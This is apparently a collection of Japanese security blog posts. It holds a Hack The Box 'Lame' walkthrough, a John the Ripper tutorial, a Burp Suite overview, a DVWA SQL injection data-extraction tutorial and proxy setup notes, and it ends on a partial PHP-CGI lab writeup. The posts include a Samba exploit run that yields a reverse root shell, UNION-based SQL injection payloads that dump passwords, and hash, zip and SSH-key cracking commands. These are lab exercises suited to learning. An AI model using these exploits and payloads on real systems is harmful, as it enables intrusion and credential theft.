HTB Lame walkthrough
Foothold
$ rustscan -a 10.129.226.162 --ulimit 5000 -- -sV -A -Pn .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : https://discord.gg/GFrQsGy : : https://github.com/RustScan/RustScan : -------------------------------------- 🌍HACK THE PLANET🌍 [~] The config file is expected to be at "/home/kali/.rustscan.toml" [~] Automatically increasing ulimit value to 5000. Open 10.129.226.162:22 Open 10.129.226.162:21 Open 10.129.226.162:139 Open 10.129.226.162:445 Open 10.129.226.162:3632 [~] Starting Script(s) [>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}") Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. [~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-24 21:35 JST (snip) PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack vsftpd 2.3.4 | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.16.15 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA) | ssh-dss AAAAB3NzaC1kc3MAAACBALz4hsc8a2Srq4nlW960qV8xwBG0JC+jI7fWxm5METIJH4tKr/xUTwsTYEYnaZLzcOiy21D3ZvOwYb6AA3765zdgCd2Tgand7F0YD5UtXG7b7fbz99chReivL0SIWEG/E96Ai+pqYMP2WD5KaOJwSIXSUajnU5oWmY5x85sBw+XDAAAAFQDFkMpmdFQTF+oRqaoSNVU7Z+hjSwAAAIBCQxNKzi1TyP+QJIFa3M0oLqCVWI0We/ARtXrzpBOJ/dt0hTJXCeYisKqcdwdtyIn8OUCOyrIjqNuA2QW217oQ6wXpbFh+5AQm8Hl3b6C6o8lX3Ptw+Y4dp0lzfWHwZ/jzHwtuaDQaok7u1f971lEazeJLqfiWrAzoklqSWyDQJAAAAIA1lAD3xWYkeIeHv/R3P9i+XaoI7imFkMuYXCDTq843YU6Td+0mWpllCqAWUV/CQamGgQLtYy5S0ueoks01MoKdOMMhKVwqdr08nvCBdNKjIEd3gH6oBk/YRnjzxlEAYBsvCmM4a0jmhz0oNiRWlc/F+bkUeFKrBx/D2fdfZmhrGg== | 2048 5656240f211ddea72bae61b1243de8f3 (RSA) |_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstqnuFMBOZvO3WTEjP4TUdjgWkIVNdTq6kboEDjteOfc65TlI7sRvQBwqAhQjeeyyIk8T55gMDkOD0akSlSXvLDcmcdYfxeIF0ZSuT+nkRhij7XSSA/Oc5QSk3sJ/SInfb78e3anbRHpmkJcVgETJ5WhKObUNf1AKZW++4Xlc63M4KI5cjvMMIPEVOyR3AKmI78Fo3HJjYucg87JjLeC66I7+dlEYX6zT8i1XYwa/L1vZ3qSJISGVu8kRPikMv/cNSvki4j+qDYyZ2E5497W87+Ed46/8P42LNGoOV8OcX/ro6pAcbEPUdUEfkJrqi2YXbhvwIJ0gFMb6wfe5cnQew== 139/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn syn-ack Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) 3632/tcp open distccd syn-ack distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 58787/tcp): CLEAN (Timeout) | Check 2 (port 13873/tcp): CLEAN (Timeout) | Check 3 (port 58565/udp): CLEAN (Timeout) | Check 4 (port 53271/udp): CLEAN (Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked |_smb2-security-mode: Couldn't establish a SMBv2 connection. | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: lame | NetBIOS computer name: | Domain name: hackthebox.gr | FQDN: lame.hackthebox.gr |_ System time: 2023-07-24T08:36:14-04:00 |_smb2-time: Protocol negotiation failed (SMB2) | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_clock-skew: mean: 2h00m21s, deviation: 2h49m43s, median: 20s NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 21:36 Completed NSE at 21:36, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 21:36 Completed NSE at 21:36, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 21:36 Completed NSE at 21:36, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 55.86 seconds
- vsftpd 2.3.4=>vsftpd 2.3.4 backdoor(not work???)
- OpenSSH 4.7p1=>CVE-2008-5161など
- Samba smbd 3.0.20=>CVE-2007-2447(https://github.com/amriunix/CVE-2007-2447)
- distccd v1=>CVE-2004-2687(https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
User&Root
色々あったがSamba smbd 3.0.20 => CVE-2007-2447はroot直撃!!!!
$ git clone https://github.com/amriunix/CVE-2007-2447 Cloning into 'CVE-2007-2447'... remote: Enumerating objects: 11, done. remote: Total 11 (delta 0), reused 0 (delta 0), pack-reused 11 Receiving objects: 100% (11/11), done. Resolving deltas: 100% (3/3), done. $ cd CVE-2007-2447 $ ls README.md usermap_script.py $ python usermap_script.py [*] CVE-2007-2447 - Samba usermap script [-] usage: python usermap_script.py <RHOST> <RPORT> <LHOST> <LPORT> $ python usermap_script.py 10.129.226.162 445 10.10.16.15 4444 [*] CVE-2007-2447 - Samba usermap script [+] Connecting ! [+] Payload was sent - check netcat !
$ rlwrap nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.16.15] from (UNKNOWN) [10.129.226.162] 60922 id uid=0(root) gid=0(root) cat /root/root.txt cf************************************** ls /home ftp makis service user ls /home/makis user.txt cat /home/makis/user.txt 52*************************************
John The Ripper入門
言わずと知れたハッシュクラックツール
INSTALL
john/INSTALL at bleeding-jumbo · openwall/john · GitHub
john/INSTALL-UBUNTU at bleeding-jumbo · openwall/john · GitHub
john/INSTALL-WINDOWS at bleeding-jumbo · openwall/john · GitHub
使い方
ハッシュファイルの用意
例えばこのような形式で、
cat hash2.txt 1A732667F3917C0F4AA98BB13011B9090C6F8065
ハッシュクラック
john <hashfile>
これだけでハッシュの種類の判別からクラックまで行う。。。らしいが色々なことが原因で上手くいかない方が多い。
ハッシュの判別
john
でハッシュクラックを行う場合に--format=
でハッシュの種類を指定できる。john
のハッシュ判別任せだと頼りないので何らかの方法でハッシュを判別しておいた方がいい。
hash-identifier
github.com
pypi.org
使い勝手の悪さは否めないけれどオフラインでは優秀かと。johnやhashcatの形式で出力してもらえるようだが自分の場合上手くいっていない。
ファイルの読み込みは同じディレクトリに無いと上手くいかない。ハッシュを直接渡すか、どうしてもINPUTにファイルを利用する場合は
$ cat ../hash2.txt | python3 hash-id.py ~~~ HASH: Possible Hashs: [+] SHA-1 [+] MySQL5 - SHA-1(SHA-1($pass)) ~~~
といったような使い方をしている。どっちにしろハッシュが判別できているので今は良い。
ハッシュの種類が分かったならば、
john --list=formats | grep -i sha1
というように検索し適応しそうなフォーマットを探す。
ワードリストの利用
実際には、上記のようにjohn
だけで
デフォルトのワードリストやブルートフォースするだけでは無理なので、大抵の場合より大きなワードリストを利用する。--wordlist=
で指定する。
rockyou.txt
パスワードのワードリストとして辞書攻撃系によく利用されるのがrockyou.txt
Common Password List ( rockyou.txt ) | Kaggle
Kali Linuxだと/usr/share/wordlists
に入っていたハズ。
安心してハッシュクラック
ここまで準備できれば相当複雑なものでない限り、辞書にあればクラック可能である。
john --format=raw-sha1 --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt Using default input encoding: UTF-8 Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x]) Warning: no OpenMP support for this hash type, consider --fork=2 Press 'q' or Ctrl-C to abort, almost any other key for status kangeroo (?) 1g 0:00:00:00 DONE (2021-03-30 09:25) 11.11g/s 1301Kp/s 1301Kc/s 1301KC/s karakara..kalinda Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably Session completed
tips
ハッシュにラベル付け
ハッシュファイルは複数行あってもクラックできる。そのような場合には、ハッシュごとにラベル付け?を行うとどれがどのハッシュの結果か分かりやすい。ハッシュの先頭にlabel:
を付ける。
$ cat hash.txt bob:02c75fb22c75b23dc963c7eb91a062cc alice:b0baee9d279d34fa1dfd71aadb908c3f root:c44a471bd78cc6c2fea32b9fe028d30a master:d0199f51d2728db6011945145a1b607a web:dcddb75469b4b4875094e14561e573d8 linux:e10adc3949ba59abbe56e057f20f883e 346:e19d5cd5af0378da05f63f891c7467af hello:e99a18c428cb38d5f260853678922e03 you:fcea920f7412b5da7be0cf42b8c93759 $ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 9 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=2 Press 'q' or Ctrl-C to abort, almost any other key for status 123456 (linux) 1234567 (you) abc123 (hello) basketball (master) 11111 (alice) 00000 (web) zxcvbnm (bob) asdfghjkl (root) abcd1234 (346) 9g 0:00:00:00 DONE (2021-03-30 09:34) 450.0g/s 57600p/s 57600c/s 230400C/s football1..summer1 Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed
毎回同じワードリスト使うのに指定するのがメンドクサイ
john.conf
のWordlist
を任意のワードリストに変更すればよい。
cat john.conf ~~~ [Options] # Default wordlist file name (including in batch mode) #Wordlist = $JOHN/password.lst Wordlist = /usr/share/wordlists/rockyou.txt ~~~
こうするとデフォルトで任意のワードリストを利用できる。
クラック済みの結果を再び確認
--show
オプションを利用する。
john --show hash2.txt ?:kangeroo 1 password hash cracked, 0 left
パスワードハッシュ以外のハッシュクラック
ハッシュクラックは、他にも暗号化zipやssh秘密鍵のパスフレーズといったものにも利用できる。
johnのパッケージにはjohnでハッシュクラックを行うためのハッシュに変換するバイナリが含まれている。これらを利用することで様々なものを扱える。
zip crack
$ file secure.zip secure.zip: Zip archive data, at least v1.0 to extract $ zip2john secure.zip > ziphash ver 1.0 efh 5455 efh 7875 secure.zip/zippy/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=38, decmplen=26, crc=849AB5A6 $ john --format=PKZIP --wordlist=/usr/share/wordlists/rockyou.txt ziphash Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status pass123 (secure.zip/zippy/flag.txt) 1g 0:00:00:00 DONE (2021-03-30 11:15) 16.66g/s 136533p/s 136533c/s 136533C/s newzealand..total90 Use the "--show" option to display all of the cracked passwords reliably Session completed $ unzip secure.zip Archive: secure.zip [secure.zip] zippy/flag.txt password: extracting: zippy/flag.txt
ssh-passphrase crack
$ python /usr/share/john/ssh2john.py idrsa.id_rsa > sshhash $ john --format=ssh --wordlist=/usr/share/wordlists/rockyou.txt sshhash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 2 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status mango (idrsa.id_rsa) Warning: Only 1 candidate left, minimum 2 needed for performance. 1g 0:00:00:05 DONE (2021-03-30 11:53) 0.1908g/s 2736Kp/s 2736Kc/s 2736KC/s *7¡Vamos! Session completed
このように様々なハッシュ変換ツールがあり、変換後のハッシュはhashcat
にも利用できる。
bitlocker2john dmg2john gpg2john hccap2john john keepass2john putty2john racf2john rar2john uaf2john vncpcap2john wpapcap2john zip2john ~~~~ 1password2john.py aruba2john.py deepsound2john.py encfs2john.py itunes_backup2john.pl ldif2john.pl monero2john.py pem2john.py rexgen2rules.pl truecrypt2john.py 7z2john.pl ascii.chr dictionary.rfc2865 enpass2john.py iwork2john.py leet.pl money2john.py pfx2john.py rules unrule.pl adxcsouf2john.py axcrypt2john.py digits.chr ethereum2john.py john.conf lib mozilla2john.py pgpdisk2john.py rulestack.pl upper.chr aem2john.py bestcrypt2john.py diskcryptor2john.py filezilla2john.py kdcdump2john.py libreoffice2john.py multibit2john.py pgpsda2john.py sap2john.pl uppernum.chr aix2john.pl bitcoin2john.py dmg2john.py fuzz.dic keychain2john.py lion2john-alt.pl neo2john.py pgpwde2john.py sha-dump.pl utf8.chr aix2john.py bitshares2john.py dns fuzz_option.pl keyring2john.py lion2john.pl netntlm.pl potcheck.pl sha-test.pl vdi2john.pl alnum.chr bitwarden2john.py DPAPImk2john.py geli2john.py keystore2john.py lm_ascii.chr netscreen.py prosody2john.py signal2john.py vmx2john.py alnumspace.chr bks2john.py dumb16.conf genincstats.rb kirbi2john.py lotus2john.py office2john.py pse2john.py sipdump2john.py ztex alpha.chr blockchain2john.py dumb32.conf hccapx2john.py known_hosts2john.py lower.chr openbsd_softraid2john.py ps_token2john.py ssh2john.py andotp2john.py ccache2john.py dynamic.conf hextoraw.pl korelogic.conf lowernum.chr openssl2john.py pwsafe2john.py sspr2john.py androidbackup2john.py cisco2john.pl dynamic_disabled.conf htdigest2john.py krb2john.py lowerspace.chr padlock2john.py radius2john.pl staroffice2john.py androidfde2john.py codepage.pl dynamic_flat_sse_formats.conf hybrid.conf kwallet2john.py luks2john.py pass_gen.pl radius2john.py stats ansible2john.py cracf2john.py ecryptfs2john.py ibmiscanner2john.py lanman.chr mac2john-alt.py password.lst regex_alphabets.conf strip2john.py apex2john.py cronjob ejabberd2john.py ikescan2john.py lastpass2john.py mac2john.py pcap2john.py repeats16.conf telegram2john.py applenotes2john.py dashlane2john.py electrum2john.py ios7tojohn.pl latin1.chr mcafee_epo2john.py pdf2john.pl repeats32.conf tezos2john.py
ぶっちゃけjohn
とhashcat
どっちが良いか
使い勝手が良いのはjohn
、しかしGPUを利用してクラックを行う場合にはhashcat
が有効である。確かjohn
の方はGPUへの対応は不完全であったハズ。
Burp Suite無料版の基本機能
Owasp ZAP派だったが周りはBurp Suite勧める人ばかり。
v2021.2.1はBurp Suiteが青くなったよう。
Burp Suite無料版の基本機能
メイン画面から選択できるように、大きく分けて8つ。
- Target - 検証対象の指定、サイトマップの作成
- Proxy - トラフィックの解析
- Intruder - ブルートフォース、辞書攻撃、色々ファジング
- Repeater - リクエストのリピート
- Sequencer - セッションCookie等の値のランダム性判定
- Decoder - 値のデコード/エンコード
- Comparer - リクエスト、サイトマップ、プロキシ履歴の各々を比較(diffする)
- Extender - 拡張機能の管理
- Burp Suite無料版の基本機能
- 1. Target
- 2. Proxy
- 3. Intruder
- 4. Repeater
- 5. Sequencer
- 6. Decoder
- 7. Comparer
- 8. Extender
- 終わり
1. Target
アクセスするほど、サイトマップが出来上がっていく。サイトを選んで右クリックして[Add to Scope]すると、目的のサーバに対してのみInterceptしたりするようになる。
Burp Target tool - PortSwigger
2. Proxy
プロキシしたリクエスト、レスポンスの確認ができる。[Actions]を押すと、リクエスト・レスポンスを他の機能の場所に送ることができる。
Interceptは[Intercept is on]と光っているときに利用できる。Interceptしたものは書き換えて、[Forward]で送信する。[Action]は他の機能に送るボタンである。
[Open Browser]で、自前のブラウザに設定しなくてもすでにプロキシ設定がされたchromeを起動できる。chromeなので[Open Browser]はroot権限下では実行できない。
.jsファイルやその他のデフォルトでは無視されているファイルをInterceptしたい場合は、[Options] -> [Intercept Client Request]にて[File extension]のルールをEditで編集する必要がある。下のような例では、.jsを消すことで.jsをInterceptしてくれるようになる。
他にも [Intercept Client Request]では、様々なInterceptの条件設定ができる。
3. Intruder
ブルートフォース、辞書攻撃、色々ファジングができる。上のloginフォームに対して、このリストを利用することでSQLiが可能かを検証する場合。
まず、右のボタンで認識された変数みたいなものを[Clean]する。辞書ファイルを回したい部分だけハイライトして、[Add]でPayload Positionに追加する。ここでは、email
のみに対して検証する。一応Attack typeは4種類あるが違いがよく分かっていないし、Sniperが最も使われるのでSniperでやる。(この部分は誰かご教授願います。)
次に、[Payloads]のタブに移り[Payloads Options Simple list]にpayloadを読み込む。コピペしてもいいし、[Load]でファイルから読み込んでも良い。
今回のようにpayloadに記号等が混じる場合には[Payloads]のタブの下の方にある[Payload Encoding]も気にする必要がある。
設定が完了したら右に見えてる[Start Attack]で始まる。出てくる注意は、「無料版だから遅いけど、気になるなら有料版にしてね。」といったような表示である。
とりあえずザラーと結果が流れてくる。
[Filter Showing all items]というところを押すとfilterの設定ができる。
Burp Intruder - PortSwigger
4. Repeater
InterceptしたものやHTTP historyから持ってきたものを個別に送信できる。好きなように編集して[Send]するだけ。
Burp Repeater - PortSwigger
5. Sequencer
セッションCookie等の値のランダム性判定に利用したりする。例えば、上のようなレスポンスにあったcookieのランダム性はどんなもんか[Start Live Capture]で開始する。リクエストが100貯まると[Analyze now]が有効になる。
Burp Sequencer - PortSwigger
6. Decoder
値のデコード/エンコードを行う。
リクエストやレスポンスとをそのまま持ってこれるのは良いかもしれないが、これをデコードやエンコードに利用するかと言われるとどうだろう。
Burp decoder - PortSwigger
7. Comparer
似たようなリクエスト、レスポンスの差分を文字やバイトで探す。
Burp Comparer - PortSwigger
8. Extender
java,python,rubyの拡張機能を追加したりする。表示されているのは以前に利用したhakoniwa badstore。
pythonベースの拡張機能を入れる場合はJython standaloneが必要らしい。
Downloads | Jython
Burp Extender - PortSwigger
終わり
Pro版が欲しい気持ちはある。
DVWAでSQLインジェクションによるData leak
SQLインジェクションを調べると、ほとんどログインバイパスの話(' OR 1=1 --とか)ばかりだが任意データの引き出しの話もありますよ。
SQLの使い方を知らない場合
まずは、SQLZOOとかでデータの引き出し方だけでも学んでおくと、ここからの話が頭に入りやすい。
一応SQLでのログインバイパス
SQL Injection - hacksplainingで視覚的に、実際に体験しながら学べる。
確認環境
DVWAの[SQL Injection]のページで試す。
docker等のコンテナやOWASP Broken Web Applications Project download | SourceForge.netで配布されているovaで環境を用意するのが簡単である。
docker run --rm -d -p 18080:80 vulnerables/web-dvwa docker run -d -p 18080:80 --name dvwa vulnerables/web-dvwa
dvwaのログインはadmin:admin,admin:passwordのどちらか。
Data leak by SQL Injection
dvwaのSQL Injectionページで行っていく。
事前調査
このページは数値のUser IDを入力してSubmitを押すと、User IDに応じたFirst nameとSurnameが表示される。 とりあえず、シングルクォーテーションとかを入力してみると
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1
エラーからMySQL(MariaDB)だと分かる。SQLサーバの種類によって確認すべきものであったりSQLの文法が変わるので、サーバの種類の確認が必要。
今回の手順
- 引き出されてるcolumnの数の特定
- 対象のtableやcolumnの特定
- Data leak
Execute
1. 引き出されてるcolumnの数の特定
まずは、次の入力でSQLの抽出column数の確認を行う。
' ORDER BY N #
Nは数値である。
SQL | ORDER BY に数字を書くと... - Qiita
このページにあるようにN番目のcolumnで並び替えを利用することで、存在しないcolumnを指定した場合にエラーが発生、エラーが発生する直前の数値が本来の抽出column数である。
' ORDER BY 3 #
Nが3のときにエラーが発生したために、2つのcolumnが引き出されていることが特定できた。
2. 対象のtableやcolumnの特定
MySQLにはinformation_schema
というSQLサーバ内の情報を保持しているtableがある。これを利用することで任意のtable,columnを捜索する。
MySQL :: MySQL 5.6 リファレンスマニュアル :: 21.4 INFORMATION_SCHEMA COLUMNS テーブル
今回はinformation_schema.columns
tableを利用する。今回のケースでは、まずはtableのリストを表示する。
' UNION SELECT table_name,1 FROM information_schema.columns #
利用したcolomn nameはリンク先の情報を参照している。
このように多くのデータを引き出す場合には表示数が限られている場合もあり、そのような場合には少しづつデータをチェックするような手法を取っていく必要がある。
User IDの検索にはusers tableが利用されていそうであり、今回はここに他の情報がないか確認していきたい。
次に、users tableのcolumnのリストを取得する。
' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'users' #
ここまでで、このUser IDの検索ページで利用されているクエリの形が推測できる。
SELECT first_name,last_name from users WHERE user_id='User IDの入力'
これがこのページで利用されていると思われる。
usersのtableにはpasswordが含まれているようなので、これを取り出すことができてしまう。
3. Data leak
' UNION SELECT user,password FROM users #
出力フォームは変えられないが、このようにuser名とpasswordをセットで取り出すことができてしまった。これがSQLインジェクションによるData leakである。
余談
バージョンやデータベースの確認
クエリのカラム数が分かった後であれば、バージョンの確認
' union select null,version() #
データベース名の確認
' union select null,database() #
ハッシュクラック
今回取り出せたpasswordはハッシュであり、確認したところmd5だったのでjohn the ripperとhachcatで解読した。辞書ファイルはrockyou.txt
john the ripper
$ cat pass.txt cat pass.txt admin:5f4dcc3b5aa765d61d8327deb882cf99 gordonb:e99a18c428cb38d5f260853678922e03 1337:8d3533d75ae2c3966d7e0d4fcc69216b pablo:0d107d09f5bbe40cade3de5c71e9e9b7 smithy:5f4dcc3b5aa765d61d8327deb882cf99 $ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt pass.txt ~~ password (admin) abc123 (gordonb) letmein (pablo) charley (1337) ~~
adminとsmithyは一緒なので表示されない。
hashcat
$ cat pass2.txt 5f4dcc3b5aa765d61d8327deb882cf99 e99a18c428cb38d5f260853678922e03 8d3533d75ae2c3966d7e0d4fcc69216b 0d107d09f5bbe40cade3de5c71e9e9b7 5f4dcc3b5aa765d61d8327deb882cf99 $ hashcat -a0 -m0 --force pass.txt /usr/share/wordlists/rockyou.txt ~~ 5f4dcc3b5aa765d61d8327deb882cf99:password e99a18c428cb38d5f260853678922e03:abc123 0d107d09f5bbe40cade3de5c71e9e9b7:letmein 8d3533d75ae2c3966d7e0d4fcc69216b:charley ~~
OWASP ZAPとBurp SuiteのWindowsへの導入~firefoxに添えて~
CTFのweb問するにしろ、webセキュリテイするにしろプロキシツールは必要。
プロキシツール導入前
JREのインストール
OWASP ZAPもBurp SuiteもJava Runtime Environmentが必要なのでインストールせねばならぬ。
全オペレーティング・システム用のJavaのダウンロードより、Windows オフラインを無印の32bitか、64bitのマシンにあったものを選択してDL。Windows オンラインだとイマイチ64bitのインストールの仕方が分からなかったのでWindows オフラインでインストールした方が分かりやすい。
Burp Suite 無料版
Download Burp Suite Community Edition
インストールして初期設定まで参照↓
ローカルプロキシツールBurpの使い方 その1 ~ Proxy機能編 ~ | パーソルテクノロジースタッフ株式会社
OWASP ZAP
Download OWASP ZAP
OWASP ZAPのインストールからプロキシ設定までを参照↓
脆弱性診断ツール OWASP ZAP vs 脆弱性だらけのWebアプリケーションEasyBuggy - Qiita
OWASP ZAPは必要が無い場合は基本的にセーフ(自動スキャン、攻撃無し)かプロテクト(事前に指定されたスコープ以外の自動スキャン、攻撃無し)モードにしておかないと思わぬ事故を起こす可能性があるので注意。
ローカルプロキシのポートは色々慣習とかもあるかもしれないけれど、自分が分かりやすくてウェルノウン外なら何でも良いと思っている。
Firefox
firefoxはとりあえずDLしてインストールする。特に問題は無いハズ。
まず、プロキシツールを扱うにはブラウザに設定が必要なのでそこら辺の設定をしていく。
また、httpsを利用するには証明書をインストールせねばあかんのでそれのお話も。
ブラウザのプロキシ設定
firefoxではプロキシ設定に、ネットワーク設定でプロキシを設定する方法かプロキシスイッチ的なfoxyproxyを利用する方法が主に使われる。
ネットワーク設定でプロキシを設定する方法だと、プロキシツールが動いていないとブラウザが利用できなくなったりメンドイ部分があるので大抵foxyproxyが使われる。とりあえずfoxyproxyを入れる。
addons.mozilla.org
入れたら、optionsを開きプロキシを設定していく。[Add]で設定していく。
[Title or Description (optional)]は任意で、[Port]はプロキシツールで設定したやつで、[Usename]と[Password]は必要であれば。例えば、burpは以下のように。
あとは[Save]しておけば、アドオンをクリックしたときにOn/Offや[Port]が異なればプロキシツールの切り替えができる。
httpsのためのCA証明書インストール
Burp Suite 無料版の場合
Installing Burp's CA certificate in Firefox - PortSwigger
OWASP ZAPの場合
OWASP ZAPのCA証明書の保存 FirefoxへのCA証明書のインストールはBurpと同様に。
これでもhttpsダメな場合
証明書のインポートミスであったりの可能性もあるが、おそらく多くはアンチウィルスソフトウェアのwebフィルタリング系の機能の所為だと思われる。各々が利用しているアンチウィルスの機能を確認して適宜設定すれば良い。 投げやりだけど、これ以上言いようがない。自分が試したESETの場合だけ示しておく。
ESETの場合
[設定]から[詳細設定]を選び、[webとメール]のメニューで[SSL/TLS]を開く。
そこで、[SSL/TLSフィルタリングされたアプリケーションのリスト]を編集する。
リストからfirefox.exeを探す。検索マークを押して"firefox"を検索するのが良いかと。
firefox.exeをクリックして、左下の編集ボタンを押すと検査アクションを指定できる画面になる。そこで[無視]を選択する。ここで、[自動]と[検査]は表に見えている限りでは動作に変わりはなく状況は変わらない。[確認]はhttpsの通信を行うごとに全て、検査か無視するかのチェックをさせられるのでメンドクサイし通信に失敗する。
選択後は、[OK]から[OK]と[SSL/TLS]の画面まで戻り、[OK]でシステムに変更を適用することでfirefoxでのプロキシツールを介したhttps通信が可能となる。
リスクを忘れずに
この設定はリスクを生んでいることを忘れてはならない。ESETの[SSL/TLSフィルタリングされたアプリケーションのリスト]からfirefoxが実質除外されたことで、firefoxを介するSSL/TLSフィルタリングは行われない。この設定を行うということは今後firefoxの利用に気を付ける必要がある。自分の調査ではこれ以上の解決法が見つからなかったので何かいい方法があればお教えください。
まあ、基本的に今後プロキシツールで使う以外に使わずに別のブラウザを使えば良いかと。
vulnhub Pentester Lab: CVE-2012-1823: PHP CGI 雑記
Pentester Lab: CVE-2012-1823: PHP CGI
live起動。rootまではいかない。
サービス調査
# nmap -p- 10.10.10.16 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-18 09:50 EDT Nmap scan report for 10.10.10.16 Host is up (0.00042s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:F0:F2:A0 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 22.42 seconds # nmap -p22,80 -sV 10.10.10.16 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-18 09:51 EDT Nmap scan report for 10.10.10.16 Host is up (0.00064s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze1 (protocol 2.0) 80/tcp open http Apache httpd 2.2.16 ((Debian)) MAC Address: 08:00:27:F0:F2:A0 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.04 seconds
気になりどころ
- [port 22] ssh OpenSSH 5.5p1 Debian 6+squeeze1 (protocol 2.0)
- [port 80] http Apache httpd 2.2.16 (Debian)
基本的にsshは攻めなくていいかなぁ。
詳細
sshには目ぼしいものが見当たらなかったので、気にしない。
[port 80] http Apache httpd 2.2.16 (Debian)
# nikto -h 10.10.10.16 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.10.10.16 + Target Hostname: 10.10.10.16 + Target Port: 80 + Start Time: 2020-05-18 10:00:47 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.2.16 (Debian) + Retrieved x-powered-by header: PHP/5.3.3-7+squeeze8 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Server may leak inodes via ETags, header found with file /favicon.ico, inode: 5997, size: 1150, mtime: Thu May 3 22:02:34 2012 + Apache/2.2.16 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + Uncommon header 'tcn' found, with contents: list + Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + 7864 requests: 1 error(s) and 15 item(s) reported on remote host + End Time: 2020-05-18 10:01:59 (GMT-4) (72 seconds) --------------------------------------------------------------------------- + 1 host(s) tested # gobuster dir -u http://10.10.10.16/ -w /usr/share/wordlists/dirb/common.txt -q -e http://10.10.10.16/.htpasswd (Status: 403) http://10.10.10.16/.hta (Status: 403) http://10.10.10.16/.htaccess (Status: 403) http://10.10.10.16/all (Status: 200) 